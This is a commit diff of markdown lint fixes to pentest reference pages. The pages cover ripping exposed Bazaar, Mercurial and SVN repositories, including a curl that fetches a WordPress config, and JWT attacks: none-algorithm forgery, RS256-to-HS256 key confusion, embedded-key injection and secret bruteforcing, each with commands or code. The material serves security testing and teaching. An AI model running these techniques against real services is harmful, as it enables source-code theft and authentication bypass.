Markdown Linting - Source Code, JWT, RMI, LDAP, LaTeX

This commit is contained in:
Swissky 2025-03-26 16:48:22 +01:00
parent d174593b4f
commit 5f244f4437
9 changed files with 150 additions and 174 deletions

View file

@ -2,7 +2,6 @@
> Bazaar (also known as bzr ) is a free, distributed version control system (DVCS) that helps you track project history over time and collaborate seamlessly with others. Developed by Canonical, Bazaar emphasizes ease of use, a flexible workflow, and rich features to cater to both individual developers and large teams. > Bazaar (also known as bzr ) is a free, distributed version control system (DVCS) that helps you track project history over time and collaborate seamlessly with others. Developed by Canonical, Bazaar emphasizes ease of use, a flexible workflow, and rich features to cater to both individual developers and large teams.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
@ -10,12 +9,12 @@
* [bzr_dumper](#bzr_dumper) * [bzr_dumper](#bzr_dumper)
* [References](#references) * [References](#references)
## Tools ## Tools
### rip-bzr.pl ### rip-bzr.pl
* [kost/dvcs-ripper/rip-bzr.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl) * [kost/dvcs-ripper/rip-bzr.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl)
```powershell ```powershell
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
``` ```
@ -50,4 +49,4 @@ bzr revert
## References ## References
- [STEM CTF Cyber Challenge 2019 My First Blog - m3ssap0 / zuzzur3ll0n1 - March 2, 2019](https://ctftime.org/writeup/13380) * [STEM CTF Cyber Challenge 2019 My First Blog - m3ssap0 / zuzzur3ll0n1 - March 2, 2019](https://ctftime.org/writeup/13380)

View file

@ -2,24 +2,22 @@
> Mercurial (also known as hg from the chemical symbol for mercury) is a distributed version control system (DVCS) designed for efficiency and scalability. Developed by Matt Mackall and first released in 2005, Mercurial is known for its speed, simplicity, and ability to handle large codebases. > Mercurial (also known as hg from the chemical symbol for mercury) is a distributed version control system (DVCS) designed for efficiency and scalability. Developed by Matt Mackall and first released in 2005, Mercurial is known for its speed, simplicity, and ability to handle large codebases.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [rip-hg.pl](#rip-hgpl) * [rip-hg.pl](#rip-hgpl)
* [References](#references) * [References](#references)
## Tools ## Tools
### rip-hg.pl ### rip-hg.pl
* [kost/dvcs-ripper/master/rip-hg.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl) - Rip web accessible (distributed) version control systems: SVN/GIT/HG... * [kost/dvcs-ripper/master/rip-hg.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl) - Rip web accessible (distributed) version control systems: SVN/GIT/HG...
```powershell ```powershell
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
``` ```
## References ## References
* [my-chemical-romance - siunam - Feb 13, 2023](https://siunam321.github.io/ctf/LA-CTF-2023/Web/my-chemical-romance/) * [my-chemical-romance - siunam - Feb 13, 2023](https://siunam321.github.io/ctf/LA-CTF-2023/Web/my-chemical-romance/)

View file

@ -1,7 +1,6 @@
# Insecure Source Code Management # Insecure Source Code Management
> Insecure Source Code Management (SCM) can lead to several critical vulnerabilities in web applications and services. Developers often rely on SCM systems like Git and Subversion (SVN) to manage their source code versions. However, poor security practices, such as leaving .git and .svn folders in production environments exposed to the internet, can pose significant risks. > Insecure Source Code Management (SCM) can lead to several critical vulnerabilities in web applications and services. Developers often rely on SCM systems like Git and Subversion (SVN) to manage their source code versions. However, poor security practices, such as leaving .git and .svn folders in production environments exposed to the internet, can pose significant risks.
## Summary ## Summary
@ -13,21 +12,19 @@
* [Labs](#labs) * [Labs](#labs)
* [References](#references) * [References](#references)
## Methodology ## Methodology
Exposing the version control system folders on a web server can lead to severe security risks, including: Exposing the version control system folders on a web server can lead to severe security risks, including:
- **Source Code Leaks** : Attackers can download the entire source code repository, gaining access to the application's logic. * **Source Code Leaks** : Attackers can download the entire source code repository, gaining access to the application's logic.
- **Sensitive Information Exposure** : Embedded secrets, configuration files, and credentials might be present within the codebase. * **Sensitive Information Exposure** : Embedded secrets, configuration files, and credentials might be present within the codebase.
- **Commit History Exposure** : Attackers can view past changes, revealing sensitive information that might have been previously exposed and later mitigated. * **Commit History Exposure** : Attackers can view past changes, revealing sensitive information that might have been previously exposed and later mitigated.
The first step is to gather information about the target application. This can be done using various web reconnaissance tools and techniques. The first step is to gather information about the target application. This can be done using various web reconnaissance tools and techniques.
* **Manual Inspection** : Check URLs manually by navigating to common SCM paths. * **Manual Inspection** : Check URLs manually by navigating to common SCM paths.
* http://target.com/.git/ * Git: `http://target.com/.git/`
* http://target.com/.svn/ * SVN: `http://target.com/.svn/`
* **Automated Tools** : Refer to the page related to the specific technology. * **Automated Tools** : Refer to the page related to the specific technology.
@ -41,14 +38,12 @@ location /.git {
} }
``` ```
For example in Git, the exploitation technique doesn't require to list the content of the `.git` folder (http://target.com/.git/), the data extraction can still be conducted when files can be read. For example in Git, the exploitation technique doesn't require to list the content of the `.git` folder (`http://target.com/.git/`), the data extraction can still be conducted when files can be read.
## Labs ## Labs
* [Root Me - Insecure Code Management](https://www.root-me.org/fr/Challenges/Web-Serveur/Insecure-Code-Management) * [Root Me - Insecure Code Management](https://www.root-me.org/fr/Challenges/Web-Serveur/Insecure-Code-Management)
## References ## References
- [Hidden directories and files as a source of sensitive information about web application - Apr 30, 2017](https://github.com/bl4de/research/tree/master/hidden_directories_leaks) * [Hidden directories and files as a source of sensitive information about web application - Apr 30, 2017](https://github.com/bl4de/research/tree/master/hidden_directories_leaks)

View file

@ -1,6 +1,6 @@
# Subversion # Subversion
> Subversion (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability. > Subversion (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability.
## Summary ## Summary
@ -10,7 +10,8 @@
## Tools ## Tools
* [anantshri/svn-extractor](https://github.com/anantshri/svn-extractor) - Simple script to extract all web resources by means of .SVN folder exposed over network. * [anantshri/svn-extractor](https://github.com/anantshri/svn-extractor) - Simple script to extract all web resources by means of .SVN folder exposed over network.
```powershell ```powershell
python svn-extractor.py --url "url with .svn available" python svn-extractor.py --url "url with .svn available"
``` ```
@ -21,11 +22,12 @@
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
``` ```
1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db 1. Download the svn database from `http://server/path_to_vulnerable_site/.svn/wc.db`
```powershell ```powershell
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL); INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
``` ```
2. Download interesting files 2. Download interesting files
* remove `$sha1$` prefix * remove `$sha1$` prefix
* add `.svn-base` postfix * add `.svn-base` postfix
@ -34,4 +36,4 @@ curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
## References ## References
- [SVN Extractor for Web Pentesters - Anant Shrivastava - March 26, 2013](http://blog.anantshri.info/svn-extractor-for-web-pentesters/) * [SVN Extractor for Web Pentesters - Anant Shrivastava - March 26, 2013](http://blog.anantshri.info/svn-extractor-for-web-pentesters/)

View file

@ -2,7 +2,6 @@
> JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. > JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
## Summary ## Summary
- [Tools](#tools) - [Tools](#tools)
@ -25,15 +24,13 @@
- [Labs](#labs) - [Labs](#labs)
- [References](#references) - [References](#references)
## Tools ## Tools
- [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) - 🐍 A toolkit for testing, tweaking and cracking JSON Web Tokens - [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) - 🐍 A toolkit for testing, tweaking and cracking JSON Web Tokens
- [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - JWT brute force cracker written in C - [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - JWT brute force cracker written in C
- [PortSwigger/JOSEPH](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61) - JavaScript Object Signing and Encryption Pentesting Helper - [PortSwigger/JOSEPH](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61) - JavaScript Object Signing and Encryption Pentesting Helper
- [jwt.io](https://jwt.io/) - Encoder/Decoder - [jwt.io](https://jwt.io/) - Encoder/Decoder
## JWT Format ## JWT Format
JSON Web Token : `Base64(Header).Base64(Data).Base64(Signature)` JSON Web Token : `Base64(Header).Base64(Data).Base64(Signature)`
@ -48,7 +45,6 @@ eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
``` ```
### Header ### Header
Registered header parameter names defined in [JSON Web Signature (JWS) RFC](https://www.rfc-editor.org/rfc/rfc7515). Registered header parameter names defined in [JSON Web Signature (JWS) RFC](https://www.rfc-editor.org/rfc/rfc7515).
@ -77,7 +73,6 @@ Other parameters are registered in the RFC.
| cty | Content Type | This header parameter is not recommended to use | | cty | Content Type | This header parameter is not recommended to use |
| crit | Critical | Extensions and/or JWA are being used | | crit | Critical | Extensions and/or JWA are being used |
Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature). "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
@ -86,19 +81,18 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
| HS256 | HMAC using SHA-256 | Required | | HS256 | HMAC using SHA-256 | Required |
| HS384 | HMAC using SHA-384 | Optional | | HS384 | HMAC using SHA-384 | Optional |
| HS512 | HMAC using SHA-512 | Optional | | HS512 | HMAC using SHA-512 | Optional |
| RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended | | RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended |
| RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional | | RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional |
| RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional | | RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional |
| ES256 | ECDSA using P-256 and SHA-256 | Recommended | | ES256 | ECDSA using P-256 and SHA-256 | Recommended |
| ES384 | ECDSA using P-384 and SHA-384 | Optional | | ES384 | ECDSA using P-384 and SHA-384 | Optional |
| ES512 | ECDSA using P-521 and SHA-512 | Optional | | ES512 | ECDSA using P-521 and SHA-512 | Optional |
| PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional | | PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional |
| PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional | | PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional |
| PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional | | PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional |
| none | No digital signature or MAC performed | Required | | none | No digital signature or MAC performed | Required |
Inject headers with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2` Inject headers with [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): `python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2`
### Payload ### Payload
@ -112,6 +106,7 @@ Inject headers with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE -I -hc
``` ```
Claims are the predefined keys and their values: Claims are the predefined keys and their values:
- iss: issuer of the token - iss: issuer of the token
- exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds. - exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
- iat: The time the JWT was issued. Can be used to determine the age of the JWT - iat: The time the JWT was issued. Can be used to determine the age of the JWT
@ -120,8 +115,7 @@ Claims are the predefined keys and their values:
- sub: subject of the token (rarely used) - sub: subject of the token (rarely used)
- aud: audience of the token (also rarely used) - aud: audience of the token (also rarely used)
Inject payload claims with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3` Inject payload claims with [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): `python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3`
## JWT Signature ## JWT Signature
@ -130,55 +124,58 @@ Inject payload claims with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE
Send a JWT with HS256 algorithm without a signature like `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.` Send a JWT with HS256 algorithm without a signature like `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.`
**Exploit**: **Exploit**:
```ps1 ```ps1
python3 jwt_tool.py JWT_HERE -X n python3 jwt_tool.py JWT_HERE -X n
``` ```
**Deconstructed**: **Deconstructed**:
```json ```json
{"alg":"HS256","typ":"JWT"}. {"alg":"HS256","typ":"JWT"}.
{"sub":"1234567890","name":"John Doe","iat":1516239022} {"sub":"1234567890","name":"John Doe","iat":1516239022}
``` ```
### JWT Signature - Disclosure of a correct signature (CVE-2019-7644) ### JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one. Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.
* [jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61](https://github.com/jwt-dotnet/jwt/issues/61) - [jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61](https://github.com/jwt-dotnet/jwt/issues/61)
* [CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT](https://auth0.com/docs/secure/security-guidance/security-bulletins/cve-2019-7644) - [CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT](https://auth0.com/docs/secure/security-guidance/security-bulletins/cve-2019-7644)
```ps1 ```ps1
Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo= Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=
``` ```
### JWT Signature - None Algorithm (CVE-2015-9235) ### JWT Signature - None Algorithm (CVE-2015-9235)
JWT supports a `None` algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application. JWT supports a `None` algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
None algorithm variants: None algorithm variants:
* `none`
* `None` - `none`
* `NONE` - `None`
* `nOnE` - `NONE`
- `nOnE`
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you **remove** the signature To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you **remove** the signature
Alternatively you can modify an existing JWT (be careful with the expiration time) Alternatively you can modify an existing JWT (be careful with the expiration time)
* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
```ps1 ```ps1
python3 jwt_tool.py [JWT_HERE] -X a python3 jwt_tool.py [JWT_HERE] -X a
``` ```
* Manually editing the JWT - Manually editing the JWT
```python ```python
import jwt import jwt
jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ' jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
decodedToken = jwt.decode(jwtToken, verify=False) decodedToken = jwt.decode(jwtToken, verify=False)
# decode the token before encoding with type 'None' # decode the token before encoding with type 'None'
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None) noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
@ -186,7 +183,6 @@ Alternatively you can modify an existing JWT (be careful with the expiration tim
print(noneEncoded.decode()) print(noneEncoded.decode())
``` ```
### JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431) ### JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
If a servers code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature. If a servers code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.
@ -205,11 +201,13 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`. :warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.
* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
```ps1 ```ps1
python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
``` ```
* Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
- Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
1. Find the public key, usually in `/jwks.json` or `/.well-known/jwks.json` 1. Find the public key, usually in `/jwks.json` or `/.well-known/jwks.json`
2. Load it in the JWT Editor Keys tab, click `New RSA Key`. 2. Load it in the JWT Editor Keys tab, click `New RSA Key`.
3. . In the dialog, paste the JWK that you obtained earlier: `{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}` 3. . In the dialog, paste the JWK that you obtained earlier: `{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}`
@ -220,7 +218,7 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
8. Edit the JWT token alg to `HS256` and the data. 8. Edit the JWT token alg to `HS256` and the data.
9. Click `Sign` and keep the option: `Don't modify header` 9. Click `Sign` and keep the option: `Don't modify header`
* Manually using the following steps to edit an RS256 JWT token into an HS256 - Manually using the following steps to edit an RS256 JWT token into an HS256
1. Convert our public key (key.pem) into HEX with this command. 1. Convert our public key (key.pem) into HEX with this command.
```powershell ```powershell
@ -239,7 +237,7 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
3. Convert signature (Hex to "base64 URL") 3. Convert signature (Hex to "base64 URL")
```powershell ```powershell
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")" python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
``` ```
4. Add signature to edited payload 4. Add signature to edited payload
@ -249,21 +247,19 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
``` ```
### JWT Signature - Key Injection Attack (CVE-2018-0114) ### JWT Signature - Key Injection Attack (CVE-2018-0114)
> A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header. > A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.
**Exploit**: **Exploit**:
* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
```ps1 ```ps1
python3 jwt_tool.py [JWT_HERE] -X i python3 jwt_tool.py [JWT_HERE] -X i
``` ```
* Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd) - Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
1. Add a `New RSA key` 1. Add a `New RSA key`
2. In the JWT's Repeater tab, edit data 2. In the JWT's Repeater tab, edit data
3. `Attack` > `Embedded JWK` 3. `Attack` > `Embedded JWK`
@ -286,10 +282,9 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
[Signed with new Private key; Public key injected] [Signed with new Private key; Public key injected]
``` ```
### JWT Signature - Recover Public Key From Signed JWTs ### JWT Signature - Recover Public Key From Signed JWTs
The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures. The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.
[SecuraBV/jws2pubkey](https://github.com/SecuraBV/jws2pubkey): compute an RSA public key from two signed JWTs [SecuraBV/jws2pubkey](https://github.com/SecuraBV/jws2pubkey): compute an RSA public key from two signed JWTs
@ -300,14 +295,14 @@ Computing public key. This may take a minute...
{"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"} {"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}
``` ```
## JWT Secret ## JWT Secret
> To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls. > To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.
### Encode and Decode JWT with the secret ### Encode and Decode JWT with the secret
* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool):
```ps1 ```ps1
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T
@ -319,7 +314,9 @@ Computing public key. This may take a minute...
Token payload values: Token payload values:
[+] name = "John Doe" [+] name = "John Doe"
``` ```
* Using [pyjwt](https://pyjwt.readthedocs.io/en/stable/): `pip install pyjwt`
- Using [pyjwt](https://pyjwt.readthedocs.io/en/stable/): `pip install pyjwt`
```python ```python
import jwt import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
@ -330,7 +327,6 @@ Computing public key. This may take a minute...
Useful list of 3502 public-available JWT: [wallarm/jwt-secrets/jwt.secrets.list](https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list), including `your_jwt_secret`, `change_this_super_secret_random_string`, etc. Useful list of 3502 public-available JWT: [wallarm/jwt-secrets/jwt.secrets.list](https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list), including `your_jwt_secret`, `change_this_super_secret_random_string`, etc.
#### JWT tool #### JWT tool
First, bruteforce the "secret" key used to compute the signature using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) First, bruteforce the "secret" key used to compute the signature using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
@ -381,32 +377,30 @@ Your new forged token:
